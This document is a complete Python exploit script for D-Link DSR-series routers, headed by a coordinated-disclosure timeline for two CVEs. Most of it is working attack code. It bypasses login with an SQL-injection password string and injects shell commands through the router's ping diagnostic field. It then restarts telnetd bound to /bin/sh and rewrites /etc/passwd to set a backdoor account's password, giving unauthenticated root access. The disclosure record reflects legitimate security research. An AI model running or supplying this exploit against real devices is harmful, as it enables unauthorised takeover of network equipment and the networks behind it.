D-Link DSR Router Remote Root Shell

`#!/usr/bin/python  
#  
# CVEs: CVE-2013-5945 - Authentication Bypass by SQL-Injection  
# CVE-2013-5946 - Privilege Escalation by Arbitrary Command Execution  
#  
# Vulnerable Routers: D-Link DSR-150 (Firmware < v1.08B44)  
# D-Link DSR-150N (Firmware < v1.05B64)  
# D-Link DSR-250 and DSR-250N (Firmware < v1.08B44)  
# D-Link DSR-500 and DSR-500N (Firmware < v1.08B77)  
# D-Link DSR-1000 and DSR-1000N (Firmware < v1.08B77)  
#  
# Likely to work on: D-Link DWC-1000  
#  
# Download URL: http://tsd.dlink.com.tw  
#  
# Arch: mips and armv6l, Linux  
#  
# Author: 0_o -- null_null  
# nu11.nu11 [at] yahoo.com  
# Oh, and it is n-u-one-one.n-u-one-one, no l's...  
# Wonder how the guys at packet storm could get this wrong :(  
#  
# Date: 2013-08-18  
#  
# Purpose: Get a non-persistent root shell on your D-Link DSR.  
#  
# Prerequisites: Network access to the router ports 443 and 23.  
# !!! NO AUTHENTICATION CREDENTIALS REQUIRED !!!  
#  
#  
# Coordinated Disclosure -- history and timeline:  
#  
# 2013-09-12: Informed Heise Security and asked for their support on this case  
# 2013-09-13: Informed the manufacturer D-Link via  
# http://www.dlink.com/us/en/support/security-advisories/report-vulnerabilities/ (contact form is buggy!)  
# http://www.d-link.co.za/contactus/feedback/ (contact request submitted)  
# http://www.dlink.com/de/de/contact-d-link (contact form is buggy!)  
# [email protected] (contact request sent)  
# [email protected] (contact request sent)  
# [email protected] (contact request sent)  
# 2013-09-14: Informed the German Federal Office for Information Security (BSI) via [email protected]   
# 2013-09-16: D-Link Russia and D-Link Germany claim to have forwarded my request.  
# 2013-09-17: German BSI responds, contact established.  
# 2013-09-24: Requested CVE-IDs.  
# 2013-09-25: Heise responds, contact established.  
# 2013-09-27: D-Link asks for details on vulns and the exploit code.  
# Mitre assigns two CVEs:  
# CVE-2013-5945 -- authentication bypass  
# CVE-2013-5946 -- privilege escalation  
# 2013-09-30: D-Link has received the exploit and documentation via BSI  
# 2013-11-29: Patches are available for the DSR router series via tsd.dlink.com.tw  
# DSR-150: Firmware v1.08B44  
# DSR-150N: Firmware v1.05B64  
# DSR-250 and DSR-250N: Firmware v1.08B44  
# DSR-500 and DSR-500N: Firmware v1.08B77  
# DSR-1000 and DSR-1000N: Firmware v1.08B77  
# 2013-12-03: Public Disclosure  
#  
# And now - the fun part :-)  
#  
  
  
import httplib  
import urllib  
import telnetlib  
import time  
import sys  
import crypt  
import random  
import string  
  
  
##############################  
#  
# CHANGE THESE VALUES -- BEGIN  
#  
# Your router's IP:PORT  
ipaddr = "192.168.10.1:443"  
# Password to be set (by this hack) on the backdoor account  
bdpasswd = "password"  
#  
# CHANGE THESE VALUES -- END  
#  
# persistent config file: /tmp/teamf1.cfg.ascii  
# Edit this file to make your changes persistent.  
#  
##############################  
  
  
cookie = ""  
pid = -2  
bduser = ""  
  
  
def request(m = "", u = "", b = "", h = ""):  
global ipaddr  
conn = httplib.HTTPSConnection(ipaddr, timeout = 15)  
assert m in ["GET", "POST"]  
conn.request(method = m, url = u, body = b, headers = h)  
ret = conn.getresponse()  
header = ret.getheaders()  
data = ret.read()  
conn.close()  
return (header, data)  
  
  
def login(user, passwd):  
global ipaddr  
headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",  
'User-Agent': "Exploit",  
'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",  
'Content-Type': "application/x-www-form-urlencoded"}  
body = {'thispage' : "index.htm",  
'Users.UserName' : user,  
'Users.Password' : passwd,  
'button.login.Users.deviceStatus' : "Login",  
'Login.userAgent' : "Exploit"}  
return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)  
  
  
def logout():  
global ipaddr, cookie  
headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",  
'User-Agent': "Exploit",  
'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi",  
'Content-Type': "application/x-www-form-urlencoded"}  
body = ""  
return request("GET", "/scgi-bin/platform.cgi?page=index.htm", urllib.urlencode(body), headers)  
  
  
def execCmd(cmd = None):  
global ipaddr, cookie  
assert cmd != None  
headers = {'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",  
'User-Agent': "Exploit",  
'Referer': "https://" + ipaddr + "/scgi-bin/platform.cgi?page=systemCheck.htm",  
'Cookie': cookie,  
'Content-Type': "application/x-www-form-urlencoded"}  
body = {'thispage' : "systemCheck.htm",  
'ping.ip' : "localhost;" + cmd,  
'button.traceroute.diagDisplay' : "Traceroute"}  
return request("POST", "/scgi-bin/platform.cgi", urllib.urlencode(body), headers)  
  
  
def findPid(mystr = None):  
# " 957 root 2700 S /usr/sbin/telnetd -l /bin/login"  
assert mystr != None  
mypid = 0  
(h, d) = execCmd(cmd = "ps|grep telnetd|grep -v grep");  
s = d.find(mystr)  
if s > 0:  
# telnetd is running  
cand = d[s - 50 : s]  
try:  
mypid = int(cand.split("\n")[1].split()[0])  
except IndexError:  
mypid = int(cand.split(">")[1].split()[0])  
return mypid  
  
  
def restartTelnetd(mystr1 = None, mystr2 = None):  
assert mystr1 != None and mystr2 != None  
global pid  
pid = findPid("telnetd -l /bin/")  
if pid > 0:  
# Stopping the running telnetd  
print "[+] Stopping telnetd (" + str(pid) + "): ",  
sys.stdout.flush()  
(h, d) = execCmd("kill " + str(pid))  
pid = findPid(mystr1)  
if pid > 0:  
print "FAILURE"  
sys.exit(-1)  
else:  
print "OK"  
# Starting a new telnetd  
print "[+] Starting telnetd: ",  
sys.stdout.flush()  
(h, d) = execCmd("telnetd -l " + mystr2)  
pid = findPid("telnetd -l " + mystr2)  
if pid > 0:  
print "OK (" + str(pid) + ")"  
else:  
print "FAILURE"  
sys.exit(-1)  
  
  
def main():  
global ipaddr, cookie, pid, bduser, bdpasswd  
user = "admin"  
passwd = "' or 'a'='a"  
print "\n\nPrivilege Escalation exploit for D-Link DSR-250N (and maybe other routers)"  
print "This change is non-persistent to device reboots."  
print "Created and coded by 0_o (nu11.nu11 [at] yahoo.com)\n\n"  
# Logging into the router  
print "[+] Trying to log into the router: ",  
sys.stdout.flush()  
(h, d) = login(user, passwd)  
if d.find("User already logged in") > 0:  
print "FAILURE"  
print "[-] The user \"admin\" is still logged in. Please log out from your current session first."  
sys.exit(-1)  
elif d.find('<a href="?page=index.htm">Logout</a>') > 0:  
while h:  
(c1, c2) = h.pop()  
if c1 == 'set-cookie':  
cookie = c2  
break  
print "OK (" + cookie + ")"  
elif d.find("Invalid username or password") > 0:  
print "FAILURE"  
print "[-] Invalid username or password"  
sys.exit(-1)  
else:  
print "FAILURE"  
print "[-] Unable to login."  
sys.exit(-1)  
  
# Starting a telnetd with custom parameters  
print "[+] Preparing the hack..."  
restartTelnetd("/bin/login", "/bin/sh")  
  
# Do the h4cK  
print "[+] Hacking the router..."  
print "[+] Getting the backdoor user name: ",  
sys.stdout.flush()  
tn = telnetlib.Telnet(ipaddr.split(":")[0])  
tn.read_very_eager()  
tn.write("cat /etc/profile\n")  
time.sleep(5)  
data = tn.read_very_eager()  
for i in data.split("\n"):  
if i.find('"$USER"') > 0:  
bduser = i.split('"')[3]  
break  
if len(bduser) > 0:  
print "OK (" + bduser + ")"  
else:  
print "FAILURE"  
sys.exit(-1)  
print "[+] Setting the new password for " + bduser + ": ",  
sys.stdout.flush()  
tn.write("cat /etc/passwd\n")  
time.sleep(5)  
data = tn.read_very_eager()  
data = data.split("\n")  
data.reverse()  
data.pop()  
data.reverse()  
data.pop()  
data = "\n".join(data)  
for i in data.split("\n"):  
if i.find(bduser) >= 0:  
line = i.split(':')  
s1 = string.lowercase + string.uppercase + string.digits  
salt = ''.join(random.sample(s1,2))  
pw = crypt.crypt(bdpasswd, salt)  
line[1] = pw  
# doesn't work for some odd reason -- too lazy to find out why  
#salt = ''.join(random.sample(s1,8))  
#line[1] = crypt.crypt(bdpasswd, '$1$' + salt + '$')  
data = data.replace(i, ":".join(line))  
break  
tn.write('echo -en "" > /etc/passwd\n')  
time.sleep(5)  
for i in data.split("\n"):  
tn.write('echo -en \'' + i + '\n\' >> /etc/passwd\n')  
time.sleep(1)  
data = tn.read_very_eager()   
tn.close()  
if data.find(pw) >= 0:  
print "OK (" + pw + ")"  
success = True  
else:  
print "FAILURE"  
print "[-] Could not set the new password."  
sys.exit(-1)  
  
# Switching back to the originals  
print "[+] Mobbing up..."  
restartTelnetd("/bin/sh", "/bin/login")  
  
# Logging out  
print "[+] Logging out: ",  
sys.stdout.flush()  
(h, d) = logout()  
if d.find('value="Login"') > 0:  
print "OK"  
else:  
print "FAILURE"  
print "[-] Unable to determine if user is logged out."  
  
# Print success message  
if success:  
print "[+] You can now log in via SSH and Telnet by using:"  
print " user: " + bduser  
print " pass: " + bdpasswd  
print " These changes will be reverted upon router reboot."  
print " Edit \"/tmp/teamf1.cfg.ascii\" to make your changes persistent."  
  
main()  
sys.exit(0)  
  
  
`